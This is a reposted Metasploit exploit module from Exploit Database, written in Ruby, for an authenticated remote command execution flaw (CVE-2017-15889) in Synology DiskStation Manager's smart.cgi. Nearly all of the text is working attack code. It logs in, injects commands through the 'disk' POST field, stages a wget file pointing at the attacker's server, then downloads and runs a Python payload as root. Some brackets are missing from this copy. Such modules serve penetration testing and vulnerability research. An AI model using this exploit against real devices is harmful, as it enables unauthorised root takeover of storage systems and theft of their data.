Synology DiskStation Manager – smart.cgi Remote Command Execution (Metasploit)

Exploit Database
129 阅读

作者： Metasploit

日期： 2020-05-25
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/48514/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HttpServer

include Msf::Exploit::FileDropper

DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)

&junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze

def initialize(info = {})

super(

update_info(

info,

'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',

'Description' => %q{

This module exploits a vulnerability found in Synology DiskStation Manager (DSM)

versions < 5.2-5967-5, which allows the execution of arbitrary commands under root

privileges after website authentication.

The vulnerability is located in webman/modules/StorageManager/smart.cgi, which

allows appending of a command to the device to be scanned.However, the command

with drive is limited to 30 characters.A somewhat valid drive name is required,

thus /dev/sd is used, even though it doesn't exist.To circumvent the character

restriction, a wget input file is staged in /a, and executed to download our payload

to /b.From there the payload is executed.A wfsdelay is required to give time

for the payload to download, and the execution of it to run.

'Author' =>

[

'Nigusu Kassahun', # Discovery

'h00die' # metasploit module

'References' =>

[

[ 'CVE', '2017-15889' ],

[ 'EDB', '43190' ],

[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],

[ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ]

'Privileged' => true,

'Stance' => Msf::Exploit::Stance::Aggressive,

'Platform' => ['python'],

'Arch' => [ARCH_PYTHON],

'Targets' =>

[

['Automatic', {}]

'DefaultTarget' => 0,

'DefaultOptions' => {

'PrependMigrate' => true,

'WfsDelay' => 10

'License' => MSF_LICENSE,

'DisclosureDate' => 'Nov 08 2017'

)

register_options(

[

Opt::RPORT(5000),

OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),

OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),

OptString.new('PASSWORD', [true, 'The Password for Synology', ''])

]

)

register_advanced_options [

OptBool.new('ForceExploit', [false, 'Override check result', false])

]

end

def check

vprint_status('Trying to detect installed version')

res = send_request_cgi({

'method' => 'GET',

'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),

'vars_get' => { 'host' => '' }

})

if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN

version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"

build = $LAST_MATCH_INFO[:build]

model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }

model = "DS#{model}" unless model =~ /^[A-Z]/

else

vprint_error('Detection failed')

return CheckCode::Unknown

end

vprint_status("Model #{model} with version #{version}-#{build} detected")

case version

when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'

return CheckCode::Appears

when '5.2'

return CheckCode::Appears if build < '5967-5'

end

CheckCode::Safe

end

def on_request_uri(cli, _request, cookie, token)

print_good('HTTP Server request received, sending payload')

send_response(cli, payload.encoded)

print_status('Executing payload')

inject_request(cookie, token, 'python b')

end

def inject_request(cookie, token, cmd = '')

send_request_cgi({

'method' => 'POST',

'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),

'cookie' => cookie,

'headers' => {

'X-SYNO-TOKEN' => token

'vars_post' => {

'action' => 'apply',

'operation' => 'quick',

'disk' => "/dev/sd<code>#{cmd}</code>"

}

})

end

def login

# If you try to debug login through the browser, you'll see that desktop.js calls

# ux-all.js to do an RSA encrypted login.

# Wowever in a stroke of luck Mrs. h00die caused

# a power sag while tracing/debugging the loging, causing the NAS to power off.

# when that happened, it failed to get the crypto vars, and defaulted to a

# non-encrypted login, which seems to work just fine.greetz Mrs. h00die!

res = send_request_cgi({

'method' => 'POST',

'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),

'vars_get' => { 'enable_syno_token' => 'yes' },

'vars_post' => {

'username' => datastore['USERNAME'],

'passwd' => datastore['PASSWORD'],

'OTPcode' => '',

'__cIpHeRtExT' => '',

'client_time' => Time.now.to_i,

'isIframeLogin' => 'yes'

}

})

if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body

result = JSON.parse(json)

fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'

if result['result'] == 'success'

return res.get_cookies, result['SynoToken']

end

fail_with(Failure::Unknown, "Unknown response: #{result}")

end

def exploit

unless check == CheckCode::Appears

unless datastore['ForceExploit']

fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'

end

print_warning 'Target does not appear to be vulnerable'

end

if datastore['SRVHOST'] == '0.0.0.0'

fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')

end

begin

print_status('Attempting Login')

cookie, token = login

start_service({ 'Uri' => {

'Proc' => proc do |cli, req|

on_request_uri(cli, req, cookie, token)

end,

'Path' => '/'

} })

print_status('Cleaning env')

inject_request(cookie, token, cmd = 'rm -rf /a')

inject_request(cookie, token, cmd = 'rm -rf b')

command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//)

command_space = 22 - "echo -n ''>>/a".length

command_space -= 1

command.each_slice(command_space) do |a|

a = a.join('')

vprint_status("Staging wget with: echo -n '#{a}'>>/a")

inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a")

end

print_status('Requesting payload pull')

register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')

register_file_for_cleanup('/a')

inject_request(cookie, token, cmd = 'wget -i /a -O b')

# at this point we let the HTTP server call the last stage

# wfsdelay should be long enough to hold out for everything to download and run

rescue ::Rex::ConnectionError

fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")

end